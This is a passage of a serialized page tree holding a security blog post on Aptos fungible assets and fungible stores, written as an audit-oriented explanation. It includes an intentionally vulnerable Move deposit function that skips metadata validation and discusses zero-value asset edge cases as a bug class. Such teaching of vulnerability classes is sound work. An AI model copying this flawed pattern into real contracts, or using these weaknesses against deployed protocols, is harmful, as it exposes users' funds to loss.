",{"type":24,"tag":32,"props":63244,"children":63246},{"className":63245},[],[63247],{"type":29,"value":63248},"burn_from",{"type":29,"value":63250}," operation, which withdraws the ",{"type":24,"tag":32,"props":63252,"children":63254},{"className":63253},[],[63255],{"type":29,"value":62759},{"type":29,"value":63257}," from the store and destroys it. Freezing and burning operations are essential i.e. for stablecoin issuers, using them as compliance tools to prevent unauthorized or illegal transactions and adhere to legal orders. Being able to bypass these restrictions with a custom wallet is an issue and can lead to severe consequences.",{"type":24,"tag":25,"props":63259,"children":63260},{},[63261,63263,63268,63270,63277,63279,63284],{"type":29,"value":63262},"Storing ",{"type":24,"tag":32,"props":63264,"children":63266},{"className":63265},[],[63267],{"type":29,"value":62759},{"type":29,"value":63269}," in a custom wallet is also a problem in terms of off-chain observability, as finding the stored coins in such setup is a difficult task. This is how the fungible asset ",{"type":24,"tag":69,"props":63271,"children":63274},{"href":63272,"rel":63273},"https://github.com/aptos-foundation/AIPs/blob/ac3da48db226cf2dbaf4df6f1f5109a4f1b2e604/aips/aip-21.md",[73],[63275],{"type":29,"value":63276},"AIP-21",{"type":29,"value":63278}," summarizes the ",{"type":24,"tag":32,"props":63280,"children":63282},{"className":63281},[],[63283],{"type":29,"value":62759},{"type":29,"value":63285}," problems:",{"type":24,"tag":5339,"props":63287,"children":63288},{},[63289,63298],{"type":24,"tag":25,"props":63290,"children":63291},{},[63292,63296],{"type":24,"tag":90,"props":63293,"children":63294},{},[63295],{"type":29,"value":3013},{"type":29,"value":63297}," coin module has been deemed insufficient for current and future needs due to the rigidity of Move structs and the inherently poor extensibility.",{"type":24,"tag":25,"props":63299,"children":63300},{},[63301],{"type":29,"value":63302},"The existing Coin struct leverages the store ability allowing for assets on-chain to become untraceable. Creating challenges to off-chain observability and on-chain management, such as freezing or burning.",{"type":24,"tag":25,"props":63304,"children":63305},{},[63306],{"type":29,"value":63307},"And declares, that:",{"type":24,"tag":5339,"props":63309,"children":63310},{},[63311],{"type":24,"tag":25,"props":63312,"children":63313},{},[63314],{"type":29,"value":63315},"Fungible assets addresses these issues.",{"type":24,"tag":25,"props":63317,"children":63318},{},[63319],{"type":29,"value":63320},"Let's find out whether this is indeed the case.",{"type":24,"tag":850,"props":63322,"children":63324},{"id":63323},"the-fungible-assets",[63325],{"type":29,"value":63326},"The fungible assets",{"type":24,"tag":25,"props":63328,"children":63329},{},[63330,63332,63338,63340,63347],{"type":29,"value":63331},"Aptos designed fungible assets as a new token standard to solve these problems. A ",{"type":24,"tag":32,"props":63333,"children":63335},{"className":63334},[],[63336],{"type":29,"value":63337},"FungibleAsset",{"type":29,"value":63339}," uses the ",{"type":24,"tag":69,"props":63341,"children":63344},{"href":63342,"rel":63343},"https://medium.com/@borispovod/move-hot-potato-pattern-bbc48a48d93c",[73],[63345],{"type":29,"value":63346},"hot-potato pattern",{"type":29,"value":78},{"type":24,"tag":80,"props":63349,"children":63351},{"className":82,"code":63350,"language":84,"meta":7,"style":7},"struct FungibleAsset {\n metadata: Object\u003CMetadata>,\n amount: u64,\n}\n",[63352],{"type":24,"tag":32,"props":63353,"children":63354},{"__ignoreMap":7},[63355,63371,63401,63421],{"type":24,"tag":90,"props":63356,"children":63357},{"class":92,"line":93},[63358,63362,63367],{"type":24,"tag":90,"props":63359,"children":63360},{"style":97},[63361],{"type":29,"value":3050},{"type":24,"tag":90,"props":63363,"children":63364},{"style":146},[63365],{"type":29,"value":63366}," FungibleAsset",{"type":24,"tag":90,"props":63368,"children":63369},{"style":114},[63370],{"type":29,"value":269},{"type":24,"tag":90,"props":63372,"children":63373},{"class":92,"line":200},[63374,63379,63383,63388,63392,63397],{"type":24,"tag":90,"props":63375,"children":63376},{"style":136},[63377],{"type":29,"value":63378}," metadata",{"type":24,"tag":90,"props":63380,"children":63381},{"style":120},[63382],{"type":29,"value":78},{"type":24,"tag":90,"props":63384,"children":63385},{"style":146},[63386],{"type":29,"value":63387}," Object",{"type":24,"tag":90,"props":63389,"children":63390},{"style":114},[63391],{"type":29,"value":1575},{"type":24,"tag":90,"props":63393,"children":63394},{"style":146},[63395],{"type":29,"value":63396},"Metadata",{"type":24,"tag":90,"props":63398,"children":63399},{"style":114},[63400],{"type":29,"value":8523},{"type":24,"tag":90,"props":63402,"children":63403},{"class":92,"line":239},[63404,63409,63413,63417],{"type":24,"tag":90,"props":63405,"children":63406},{"style":136},[63407],{"type":29,"value":63408}," amount",{"type":24,"tag":90,"props":63410,"children":63411},{"style":120},[63412],{"type":29,"value":78},{"type":24,"tag":90,"props":63414,"children":63415},{"style":146},[63416],{"type":29,"value":376},{"type":24,"tag":90,"props":63418,"children":63419},{"style":114},[63420],{"type":29,"value":748},{"type":24,"tag":90,"props":63422,"children":63423},{"class":92,"line":248},[63424],{"type":24,"tag":90,"props":63425,"children":63426},{"style":114},[63427],{"type":29,"value":827},{"type":24,"tag":25,"props":63429,"children":63430},{},[63431,63433,63438,63439,63444,63446,63451,63453,63460],{"type":29,"value":63432},"Unlike ",{"type":24,"tag":32,"props":63434,"children":63436},{"className":63435},[],[63437],{"type":29,"value":62792},{"type":29,"value":133},{"type":24,"tag":32,"props":63440,"children":63442},{"className":63441},[],[63443],{"type":29,"value":63337},{"type":29,"value":63445}," types are defined at runtime through the ",{"type":24,"tag":32,"props":63447,"children":63449},{"className":63448},[],[63450],{"type":29,"value":63396},{"type":29,"value":63452}," field. This change was meant to ",{"type":24,"tag":69,"props":63454,"children":63457},{"href":63455,"rel":63456},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-21.md#specification",[73],[63458],{"type":29,"value":63459},"enhance extensibility",{"type":29,"value":78},{"type":24,"tag":5339,"props":63462,"children":63463},{},[63464],{"type":24,"tag":25,"props":63465,"children":63466},{},[63467],{"type":29,"value":63468},"An object can have other resources attached to provide additional context. For example, the metadata could define a gem of a given type, color, quality, and rarity, where ownership indicates the quantity or total weight owned of that type of gem.",{"type":24,"tag":25,"props":63470,"children":63471},{},[63472,63474,63480],{"type":29,"value":63473},"An important implication is that functions accepting ",{"type":24,"tag":32,"props":63475,"children":63477},{"className":63476},[],[63478],{"type":29,"value":63479},"FungibleAssets",{"type":29,"value":63481}," must verify the metadata to ensure valid assets.",{"type":24,"tag":25,"props":63483,"children":63484},{},[63485],{"type":29,"value":63486},"Let's consider a possible implementation of a protocol that takes in assets.",{"type":24,"tag":80,"props":63488,"children":63490},{"className":82,"code":63489,"language":84,"meta":7,"style":7},"public fun deposit\u003CT: key>(\n sender: &signer, fa: FungibleAsset\n) acquires [...] {\n assert_not_paused();\n \n let fa_amount = fungible_asset::amount(&fa);\n let sender_address = address_of(sender);\n check_compliance(fa_amount, sender_address);\n \n increase_deposit(get_vault(sender_address), fa_amount);\n \n primary_fungible_store::deposit(global_vault_address(), fa);\n \n event::emit(Deposit {sender_address, fa_amount})\n}\n",[63491],{"type":24,"tag":32,"props":63492,"children":63493},{"__ignoreMap":7},[63494,63531,63569,63593,63605,63613,63658,63692,63722,63729,63766,63773,63811,63818,63864],{"type":24,"tag":90,"props":63495,"children":63496},{"class":92,"line":93},[63497,63502,63506,63511,63515,63519,63523,63527],{"type":24,"tag":90,"props":63498,"children":63499},{"style":136},[63500],{"type":29,"value":63501},"public",{"type":24,"tag":90,"props":63503,"children":63504},{"style":136},[63505],{"type":29,"value":8592},{"type":24,"tag":90,"props":63507,"children":63508},{"style":136},[63509],{"type":29,"value":63510}," deposit",{"type":24,"tag":90,"props":63512,"children":63513},{"style":114},[63514],{"type":29,"value":1575},{"type":24,"tag":90,"props":63516,"children":63517},{"style":146},[63518],{"type":29,"value":1960},{"type":24,"tag":90,"props":63520,"children":63521},{"style":120},[63522],{"type":29,"value":78},{"type":24,"tag":90,"props":63524,"children":63525},{"style":136},[63526],{"type":29,"value":8317},{"type":24,"tag":90,"props":63528,"children":63529},{"style":114},[63530],{"type":29,"value":8973},{"type":24,"tag":90,"props":63532,"children":63533},{"class":92,"line":200},[63534,63539,63543,63547,63551,63555,63560,63564],{"type":24,"tag":90,"props":63535,"children":63536},{"style":136},[63537],{"type":29,"value":63538}," sender",{"type":24,"tag":90,"props":63540,"children":63541},{"style":120},[63542],{"type":29,"value":78},{"type":24,"tag":90,"props":63544,"children":63545},{"style":120},[63546],{"type":29,"value":455},{"type":24,"tag":90,"props":63548,"children":63549},{"style":136},[63550],{"type":29,"value":9528},{"type":24,"tag":90,"props":63552,"children":63553},{"style":114},[63554],{"type":29,"value":133},{"type":24,"tag":90,"props":63556,"children":63557},{"style":136},[63558],{"type":29,"value":63559},"fa",{"type":24,"tag":90,"props":63561,"children":63562},{"style":120},[63563],{"type":29,"value":78},{"type":24,"tag":90,"props":63565,"children":63566},{"style":146},[63567],{"type":29,"value":63568}," FungibleAsset\n",{"type":24,"tag":90,"props":63570,"children":63571},{"class":92,"line":239},[63572,63576,63580,63584,63588],{"type":24,"tag":90,"props":63573,"children":63574},{"style":114},[63575],{"type":29,"value":172},{"type":24,"tag":90,"props":63577,"children":63578},{"style":136},[63579],{"type":29,"value":8729},{"type":24,"tag":90,"props":63581,"children":63582},{"style":114},[63583],{"type":29,"value":24829},{"type":24,"tag":90,"props":63585,"children":63586},{"style":120},[63587],{"type":29,"value":3013},{"type":24,"tag":90,"props":63589,"children":63590},{"style":114},[63591],{"type":29,"value":63592},"] {\n",{"type":24,"tag":90,"props":63594,"children":63595},{"class":92,"line":248},[63596,63601],{"type":24,"tag":90,"props":63597,"children":63598},{"style":108},[63599],{"type":29,"value":63600}," assert_not_paused",{"type":24,"tag":90,"props":63602,"children":63603},{"style":114},[63604],{"type":29,"value":236},{"type":24,"tag":90,"props":63606,"children":63607},{"class":92,"line":258},[63608],{"type":24,"tag":90,"props":63609,"children":63610},{"style":114},[63611],{"type":29,"value":63612}," \n",{"type":24,"tag":90,"props":63614,"children":63615},{"class":92,"line":272},[63616,63620,63625,63629,63634,63638,63642,63646,63650,63654],{"type":24,"tag":90,"props":63617,"children":63618},{"style":97},[63619],{"type":29,"value":206},{"type":24,"tag":90,"props":63621,"children":63622},{"style":136},[63623],{"type":29,"value":63624}," fa_amount",{"type":24,"tag":90,"props":63626,"children":63627},{"style":120},[63628],{"type":29,"value":216},{"type":24,"tag":90,"props":63630,"children":63631},{"style":114},[63632],{"type":29,"value":63633}," fungible_asset",{"type":24,"tag":90,"props":63635,"children":63636},{"style":120},[63637],{"type":29,"value":1211},{"type":24,"tag":90,"props":63639,"children":63640},{"style":108},[63641],{"type":29,"value":22102},{"type":24,"tag":90,"props":63643,"children":63644},{"style":114},[63645],{"type":29,"value":117},{"type":24,"tag":90,"props":63647,"children":63648},{"style":120},[63649],{"type":29,"value":123},{"type":24,"tag":90,"props":63651,"children":63652},{"style":136},[63653],{"type":29,"value":63559},{"type":24,"tag":90,"props":63655,"children":63656},{"style":114},[63657],{"type":29,"value":571},{"type":24,"tag":90,"props":63659,"children":63660},{"class":92,"line":281},[63661,63665,63670,63674,63679,63683,63688],{"type":24,"tag":90,"props":63662,"children":63663},{"style":97},[63664],{"type":29,"value":206},{"type":24,"tag":90,"props":63666,"children":63667},{"style":136},[63668],{"type":29,"value":63669}," sender_address",{"type":24,"tag":90,"props":63671,"children":63672},{"style":120},[63673],{"type":29,"value":216},{"type":24,"tag":90,"props":63675,"children":63676},{"style":108},[63677],{"type":29,"value":63678}," address_of",{"type":24,"tag":90,"props":63680,"children":63681},{"style":114},[63682],{"type":29,"value":117},{"type":24,"tag":90,"props":63684,"children":63685},{"style":136},[63686],{"type":29,"value":63687},"sender",{"type":24,"tag":90,"props":63689,"children":63690},{"style":114},[63691],{"type":29,"value":571},{"type":24,"tag":90,"props":63693,"children":63694},{"class":92,"line":384},[63695,63700,63704,63709,63713,63718],{"type":24,"tag":90,"props":63696,"children":63697},{"style":108},[63698],{"type":29,"value":63699}," check_compliance",{"type":24,"tag":90,"props":63701,"children":63702},{"style":114},[63703],{"type":29,"value":117},{"type":24,"tag":90,"props":63705,"children":63706},{"style":136},[63707],{"type":29,"value":63708},"fa_amount",{"type":24,"tag":90,"props":63710,"children":63711},{"style":114},[63712],{"type":29,"value":133},{"type":24,"tag":90,"props":63714,"children":63715},{"style":136},[63716],{"type":29,"value":63717},"sender_address",{"type":24,"tag":90,"props":63719,"children":63720},{"style":114},[63721],{"type":29,"value":571},{"type":24,"tag":90,"props":63723,"children":63724},{"class":92,"line":420},[63725],{"type":24,"tag":90,"props":63726,"children":63727},{"style":114},[63728],{"type":29,"value":63612},{"type":24,"tag":90,"props":63730,"children":63731},{"class":92,"line":428},[63732,63737,63741,63746,63750,63754,63758,63762],{"type":24,"tag":90,"props":63733,"children":63734},{"style":108},[63735],{"type":29,"value":63736}," increase_deposit",{"type":24,"tag":90,"props":63738,"children":63739},{"style":114},[63740],{"type":29,"value":117},{"type":24,"tag":90,"props":63742,"children":63743},{"style":108},[63744],{"type":29,"value":63745},"get_vault",{"type":24,"tag":90,"props":63747,"children":63748},{"style":114},[63749],{"type":29,"value":117},{"type":24,"tag":90,"props":63751,"children":63752},{"style":136},[63753],{"type":29,"value":63717},{"type":24,"tag":90,"props":63755,"children":63756},{"style":114},[63757],{"type":29,"value":1677},{"type":24,"tag":90,"props":63759,"children":63760},{"style":136},[63761],{"type":29,"value":63708},{"type":24,"tag":90,"props":63763,"children":63764},{"style":114},[63765],{"type":29,"value":571},{"type":24,"tag":90,"props":63767,"children":63768},{"class":92,"line":437},[63769],{"type":24,"tag":90,"props":63770,"children":63771},{"style":114},[63772],{"type":29,"value":63612},{"type":24,"tag":90,"props":63774,"children":63775},{"class":92,"line":574},[63776,63781,63785,63790,63794,63799,63803,63807],{"type":24,"tag":90,"props":63777,"children":63778},{"style":114},[63779],{"type":29,"value":63780}," primary_fungible_store",{"type":24,"tag":90,"props":63782,"children":63783},{"style":120},[63784],{"type":29,"value":1211},{"type":24,"tag":90,"props":63786,"children":63787},{"style":108},[63788],{"type":29,"value":63789},"deposit",{"type":24,"tag":90,"props":63791,"children":63792},{"style":114},[63793],{"type":29,"value":117},{"type":24,"tag":90,"props":63795,"children":63796},{"style":108},[63797],{"type":29,"value":63798},"global_vault_address",{"type":24,"tag":90,"props":63800,"children":63801},{"style":114},[63802],{"type":29,"value":4900},{"type":24,"tag":90,"props":63804,"children":63805},{"style":136},[63806],{"type":29,"value":63559},{"type":24,"tag":90,"props":63808,"children":63809},{"style":114},[63810],{"type":29,"value":571},{"type":24,"tag":90,"props":63812,"children":63813},{"class":92,"line":606},[63814],{"type":24,"tag":90,"props":63815,"children":63816},{"style":114},[63817],{"type":29,"value":63612},{"type":24,"tag":90,"props":63819,"children":63820},{"class":92,"line":615},[63821,63826,63830,63835,63839,63844,63848,63852,63856,63860],{"type":24,"tag":90,"props":63822,"children":63823},{"style":114},[63824],{"type":29,"value":63825}," event",{"type":24,"tag":90,"props":63827,"children":63828},{"style":120},[63829],{"type":29,"value":1211},{"type":24,"tag":90,"props":63831,"children":63832},{"style":108},[63833],{"type":29,"value":63834},"emit",{"type":24,"tag":90,"props":63836,"children":63837},{"style":114},[63838],{"type":29,"value":117},{"type":24,"tag":90,"props":63840,"children":63841},{"style":146},[63842],{"type":29,"value":63843},"Deposit",{"type":24,"tag":90,"props":63845,"children":63846},{"style":114},[63847],{"type":29,"value":47039},{"type":24,"tag":90,"props":63849,"children":63850},{"style":136},[63851],{"type":29,"value":63717},{"type":24,"tag":90,"props":63853,"children":63854},{"style":114},[63855],{"type":29,"value":133},{"type":24,"tag":90,"props":63857,"children":63858},{"style":136},[63859],{"type":29,"value":63708},{"type":24,"tag":90,"props":63861,"children":63862},{"style":114},[63863],{"type":29,"value":34836},{"type":24,"tag":90,"props":63865,"children":63866},{"class":92,"line":623},[63867],{"type":24,"tag":90,"props":63868,"children":63869},{"style":114},[63870],{"type":29,"value":827},{"type":24,"tag":25,"props":63872,"children":63873},{},[63874],{"type":29,"value":63875},"Do you see any problems here? The application does not validate or differentiate fungible assets using their metadata, which causes all fungible asset deposits to be treated as identical.",{"type":24,"tag":25,"props":63877,"children":63878},{},[63879],{"type":29,"value":63880},"While these bugs aren't partiularly complex, they do represent an additional vulnerability class that must be checked for.",{"type":24,"tag":850,"props":63882,"children":63884},{"id":63883},"fungible-stores",[63885],{"type":29,"value":63886},"Fungible stores",{"type":24,"tag":25,"props":63888,"children":63889},{},[63890],{"type":29,"value":63891},"As mentioned, fungible assets are hot potatoes, meaning they must be destroyed after each transaction. If they lack abilities, how can they be used?",{"type":24,"tag":25,"props":63893,"children":63894},{},[63895,63897,63903],{"type":29,"value":63896},"Meet the ",{"type":24,"tag":32,"props":63898,"children":63900},{"className":63899},[],[63901],{"type":29,"value":63902},"FungibleStore",{"type":29,"value":226},{"type":24,"tag":80,"props":63905,"children":63907},{"className":82,"code":63906,"language":84,"meta":7,"style":7},"struct FungibleStore has key {\n metadata: Object\u003CMetadata>,\n balance: u64,\n frozen: bool,\n}\n",[63908],{"type":24,"tag":32,"props":63909,"children":63910},{"__ignoreMap":7},[63911,63935,63962,63982,64001],{"type":24,"tag":90,"props":63912,"children":63913},{"class":92,"line":93},[63914,63918,63923,63927,63931],{"type":24,"tag":90,"props":63915,"children":63916},{"style":97},[63917],{"type":29,"value":3050},{"type":24,"tag":90,"props":63919,"children":63920},{"style":146},[63921],{"type":29,"value":63922}," FungibleStore",{"type":24,"tag":90,"props":63924,"children":63925},{"style":136},[63926],{"type":29,"value":11783},{"type":24,"tag":90,"props":63928,"children":63929},{"style":136},[63930],{"type":29,"value":8317},{"type":24,"tag":90,"props":63932,"children":63933},{"style":114},[63934],{"type":29,"value":269},{"type":24,"tag":90,"props":63936,"children":63937},{"class":92,"line":200},[63938,63942,63946,63950,63954,63958],{"type":24,"tag":90,"props":63939,"children":63940},{"style":136},[63941],{"type":29,"value":63378},{"type":24,"tag":90,"props":63943,"children":63944},{"style":120},[63945],{"type":29,"value":78},{"type":24,"tag":90,"props":63947,"children":63948},{"style":146},[63949],{"type":29,"value":63387},{"type":24,"tag":90,"props":63951,"children":63952},{"style":114},[63953],{"type":29,"value":1575},{"type":24,"tag":90,"props":63955,"children":63956},{"style":146},[63957],{"type":29,"value":63396},{"type":24,"tag":90,"props":63959,"children":63960},{"style":114},[63961],{"type":29,"value":8523},{"type":24,"tag":90,"props":63963,"children":63964},{"class":92,"line":239},[63965,63970,63974,63978],{"type":24,"tag":90,"props":63966,"children":63967},{"style":136},[63968],{"type":29,"value":63969}," balance",{"type":24,"tag":90,"props":63971,"children":63972},{"style":120},[63973],{"type":29,"value":78},{"type":24,"tag":90,"props":63975,"children":63976},{"style":146},[63977],{"type":29,"value":376},{"type":24,"tag":90,"props":63979,"children":63980},{"style":114},[63981],{"type":29,"value":748},{"type":24,"tag":90,"props":63983,"children":63984},{"class":92,"line":248},[63985,63989,63993,63997],{"type":24,"tag":90,"props":63986,"children":63987},{"style":136},[63988],{"type":29,"value":63039},{"type":24,"tag":90,"props":63990,"children":63991},{"style":120},[63992],{"type":29,"value":78},{"type":24,"tag":90,"props":63994,"children":63995},{"style":146},[63996],{"type":29,"value":167},{"type":24,"tag":90,"props":63998,"children":63999},{"style":114},[64000],{"type":29,"value":748},{"type":24,"tag":90,"props":64002,"children":64003},{"class":92,"line":258},[64004],{"type":24,"tag":90,"props":64005,"children":64006},{"style":114},[64007],{"type":29,"value":827},{"type":24,"tag":25,"props":64009,"children":64010},{},[64011,64016,64018,64023,64025,64030,64032,64037,64039,64044],{"type":24,"tag":32,"props":64012,"children":64014},{"className":64013},[],[64015],{"type":29,"value":63902},{"type":29,"value":64017}," manages balances and metadata instead of holding the actual ",{"type":24,"tag":32,"props":64019,"children":64021},{"className":64020},[],[64022],{"type":29,"value":63337},{"type":29,"value":64024}," (it can't because ",{"type":24,"tag":32,"props":64026,"children":64028},{"className":64027},[],[64029],{"type":29,"value":63337},{"type":29,"value":64031}," doesn't have ",{"type":24,"tag":32,"props":64033,"children":64035},{"className":64034},[],[64036],{"type":29,"value":8326},{"type":29,"value":64038},"). Withdrawals create temporary ",{"type":24,"tag":32,"props":64040,"children":64042},{"className":64041},[],[64043],{"type":29,"value":63337},{"type":29,"value":64045}," resources, while deposits destroy them and update the balance. This design prevents freezing bypasses and improves observability.",{"type":24,"tag":20586,"props":64047,"children":64048},{},[],{"type":24,"tag":25,"props":64050,"children":64051},{},[64052,64054,64059,64061,64066],{"type":29,"value":64053},"A curious reader might wonder, is there any other way to create or destroy a ",{"type":24,"tag":32,"props":64055,"children":64057},{"className":64056},[],[64058],{"type":29,"value":63337},{"type":29,"value":64060}," besides withdrawing, depositing or minting it? There is — anyone can create and destroy a zero-value ",{"type":24,"tag":32,"props":64062,"children":64064},{"className":64063},[],[64065],{"type":29,"value":63337},{"type":29,"value":226},{"type":24,"tag":80,"props":64068,"children":64070},{"className":82,"code":64069,"language":84,"meta":7,"style":7},"public fun destroy_zero(fungible_asset: FungibleAsset) {\n let FungibleAsset { amount, metadata: _ } = fungible_asset;\n assert!(amount == 0, error::invalid_argument(EAMOUNT_IS_NOT_ZERO));\n}\n\npublic fun zero\u003CT: key>(metadata: Object\u003CT>): FungibleAsset {\n FungibleAsset {\n metadata: object::convert(metadata),\n amount: 0,\n }\n}\n",[64071],{"type":24,"tag":32,"props":64072,"children":64073},{"__ignoreMap":7},[64074,64111,64163,64206,64213,64220,64292,64304,64342,64361,64368],{"type":24,"tag":90,"props":64075,"children":64076},{"class":92,"line":93},[64077,64081,64085,64090,64094,64099,64103,64107],{"type":24,"tag":90,"props":64078,"children":64079},{"style":136},[64080],{"type":29,"value":63501},{"type":24,"tag":90,"props":64082,"children":64083},{"style":136},[64084],{"type":29,"value":8592},{"type":24,"tag":90,"props":64086,"children":64087},{"style":108},[64088],{"type":29,"value":64089}," destroy_zero",{"type":24,"tag":90,"props":64091,"children":64092},{"style":114},[64093],{"type":29,"value":117},{"type":24,"tag":90,"props":64095,"children":64096},{"style":136},[64097],{"type":29,"value":64098},"fungible_asset",{"type":24,"tag":90,"props":64100,"children":64101},{"style":120},[64102],{"type":29,"value":78},{"type":24,"tag":90,"props":64104,"children":64105},{"style":146},[64106],{"type":29,"value":63366},{"type":24,"tag":90,"props":64108,"children":64109},{"style":114},[64110],{"type":29,"value":1297},{"type":24,"tag":90,"props":64112,"children":64113},{"class":92,"line":200},[64114,64118,64122,64126,64130,64134,64139,64143,64147,64151,64155,64159],{"type":24,"tag":90,"props":64115,"children":64116},{"style":97},[64117],{"type":29,"value":206},{"type":24,"tag":90,"props":64119,"children":64120},{"style":146},[64121],{"type":29,"value":63366},{"type":24,"tag":90,"props":64123,"children":64124},{"style":114},[64125],{"type":29,"value":1196},{"type":24,"tag":90,"props":64127,"children":64128},{"style":136},[64129],{"type":29,"value":22102},{"type":24,"tag":90,"props":64131,"children":64132},{"style":114},[64133],{"type":29,"value":133},{"type":24,"tag":90,"props":64135,"children":64136},{"style":136},[64137],{"type":29,"value":64138},"metadata",{"type":24,"tag":90,"props":64140,"children":64141},{"style":120},[64142],{"type":29,"value":78},{"type":24,"tag":90,"props":64144,"children":64145},{"style":136},[64146],{"type":29,"value":3990},{"type":24,"tag":90,"props":64148,"children":64149},{"style":114},[64150],{"type":29,"value":38018},{"type":24,"tag":90,"props":64152,"children":64153},{"style":120},[64154],{"type":29,"value":5491},{"type":24,"tag":90,"props":64156,"children":64157},{"style":136},[64158],{"type":29,"value":63633},{"type":24,"tag":90,"props":64160,"children":64161},{"style":114},[64162],{"type":29,"value":381},{"type":24,"tag":90,"props":64164,"children":64165},{"class":92,"line":239},[64166,64171,64175,64179,64183,64187,64192,64196,64201],{"type":24,"tag":90,"props":64167,"children":64168},{"style":108},[64169],{"type":29,"value":64170}," assert!",{"type":24,"tag":90,"props":64172,"children":64173},{"style":114},[64174],{"type":29,"value":117},{"type":24,"tag":90,"props":64176,"children":64177},{"style":136},[64178],{"type":29,"value":22102},{"type":24,"tag":90,"props":64180,"children":64181},{"style":120},[64182],{"type":29,"value":2102},{"type":24,"tag":90,"props":64184,"children":64185},{"style":349},[64186],{"type":29,"value":5448},{"type":24,"tag":90,"props":64188,"children":64189},{"style":114},[64190],{"type":29,"value":64191},", error",{"type":24,"tag":90,"props":64193,"children":64194},{"style":120},[64195],{"type":29,"value":1211},{"type":24,"tag":90,"props":64197,"children":64198},{"style":108},[64199],{"type":29,"value":64200},"invalid_argument",{"type":24,"tag":90,"props":64202,"children":64203},{"style":114},[64204],{"type":29,"value":64205},"(EAMOUNT_IS_NOT_ZERO));\n",{"type":24,"tag":90,"props":64207,"children":64208},{"class":92,"line":248},[64209],{"type":24,"tag":90,"props":64210,"children":64211},{"style":114},[64212],{"type":29,"value":827},{"type":24,"tag":90,"props":64214,"children":64215},{"class":92,"line":258},[64216],{"type":24,"tag":90,"props":64217,"children":64218},{"emptyLinePlaceholder":16},[64219],{"type":29,"value":245},{"type":24,"tag":90,"props":64221,"children":64222},{"class":92,"line":272},[64223,64227,64231,64236,64240,64244,64248,64252,64256,64260,64264,64268,64272,64276,64280,64284,64288],{"type":24,"tag":90,"props":64224,"children":64225},{"style":136},[64226],{"type":29,"value":63501},{"type":24,"tag":90,"props":64228,"children":64229},{"style":136},[64230],{"type":29,"value":8592},{"type":24,"tag":90,"props":64232,"children":64233},{"style":136},[64234],{"type":29,"value":64235}," zero",{"type":24,"tag":90,"props":64237,"children":64238},{"style":114},[64239],{"type":29,"value":1575},{"type":24,"tag":90,"props":64241,"children":64242},{"style":146},[64243],{"type":29,"value":1960},{"type":24,"tag":90,"props":64245,"children":64246},{"style":120},[64247],{"type":29,"value":78},{"type":24,"tag":90,"props":64249,"children":64250},{"style":136},[64251],{"type":29,"value":8317},{"type":24,"tag":90,"props":64253,"children":64254},{"style":114},[64255],{"type":29,"value":9992},{"type":24,"tag":90,"props":64257,"children":64258},{"style":136},[64259],{"type":29,"value":64138},{"type":24,"tag":90,"props":64261,"children":64262},{"style":120},[64263],{"type":29,"value":78},{"type":24,"tag":90,"props":64265,"children":64266},{"style":146},[64267],{"type":29,"value":63387},{"type":24,"tag":90,"props":64269,"children":64270},{"style":114},[64271],{"type":29,"value":1575},{"type":24,"tag":90,"props":64273,"children":64274},{"style":146},[64275],{"type":29,"value":1960},{"type":24,"tag":90,"props":64277,"children":64278},{"style":114},[64279],{"type":29,"value":10765},{"type":24,"tag":90,"props":64281,"children":64282},{"style":120},[64283],{"type":29,"value":78},{"type":24,"tag":90,"props":64285,"children":64286},{"style":146},[64287],{"type":29,"value":63366},{"type":24,"tag":90,"props":64289,"children":64290},{"style":114},[64291],{"type":29,"value":269},{"type":24,"tag":90,"props":64293,"children":64294},{"class":92,"line":281},[64295,64300],{"type":24,"tag":90,"props":64296,"children":64297},{"style":146},[64298],{"type":29,"value":64299}," FungibleAsset",{"type":24,"tag":90,"props":64301,"children":64302},{"style":114},[64303],{"type":29,"value":269},{"type":24,"tag":90,"props":64305,"children":64306},{"class":92,"line":384},[64307,64312,64316,64321,64325,64330,64334,64338],{"type":24,"tag":90,"props":64308,"children":64309},{"style":136},[64310],{"type":29,"value":64311}," metadata",{"type":24,"tag":90,"props":64313,"children":64314},{"style":120},[64315],{"type":29,"value":78},{"type":24,"tag":90,"props":64317,"children":64318},{"style":114},[64319],{"type":29,"value":64320}," object",{"type":24,"tag":90,"props":64322,"children":64323},{"style":120},[64324],{"type":29,"value":1211},{"type":24,"tag":90,"props":64326,"children":64327},{"style":108},[64328],{"type":29,"value":64329},"convert",{"type":24,"tag":90,"props":64331,"children":64332},{"style":114},[64333],{"type":29,"value":117},{"type":24,"tag":90,"props":64335,"children":64336},{"style":136},[64337],{"type":29,"value":64138},{"type":24,"tag":90,"props":64339,"children":64340},{"style":114},[64341],{"type":29,"value":779},{"type":24,"tag":90,"props":64343,"children":64344},{"class":92,"line":420},[64345,64349,64353,64357],{"type":24,"tag":90,"props":64346,"children":64347},{"style":136},[64348],{"type":29,"value":9830},{"type":24,"tag":90,"props":64350,"children":64351},{"style":120},[64352],{"type":29,"value":78},{"type":24,"tag":90,"props":64354,"children":64355},{"style":349},[64356],{"type":29,"value":5448},{"type":24,"tag":90,"props":64358,"children":64359},{"style":114},[64360],{"type":29,"value":748},{"type":24,"tag":90,"props":64362,"children":64363},{"class":92,"line":428},[64364],{"type":24,"tag":90,"props":64365,"children":64366},{"style":114},[64367],{"type":29,"value":612},{"type":24,"tag":90,"props":64369,"children":64370},{"class":92,"line":437},[64371],{"type":24,"tag":90,"props":64372,"children":64373},{"style":114},[64374],{"type":29,"value":827},{"type":24,"tag":25,"props":64376,"children":64377},{},[64378],{"type":29,"value":64379},"In theory, this shouldn’t pose a problem. After all, having zero of something doesn’t exactly qualify as ownership.",{"type":24,"tag":25,"props":64381,"children":64382},{},[64383,64385,64390],{"type":29,"value":64384},"In practice, the ability to freely mint and burn zero ",{"type":24,"tag":32,"props":64386,"children":64388},{"className":64387},[],[64389],{"type":29,"value":63479},{"type":29,"value":64391}," of any type could present a significant risk. During our reviews, we enountered many protocols that did not account for this possibility, leading to arithmetic errors, DoS logic bugs or inaccurate calculations. Keep in mind that edge case, we'll come back to this.",{"type":24,"tag":1019,"props":64393,"children":64395},{"id":64394},"primary-and-secondary-stores",[64396],{"type":29,"value":64397},"Primary and secondary stores",{"type":24,"tag":25,"props":64399,"children":64400},{},[64401,64407,64409,64415,64417,64422],{"type":24,"tag":32,"props":64402,"children":64404},{"className":64403},[],[64405],{"type":29,"value":64406},"FungibleStores",{"type":29,"value":64408}," in comparison to ",{"type":24,"tag":32,"props":64410,"children":64412},{"className":64411},[],[64413],{"type":29,"value":64414},"CoinStores",{"type":29,"value":64416}," are not unique. Each user can have multiple 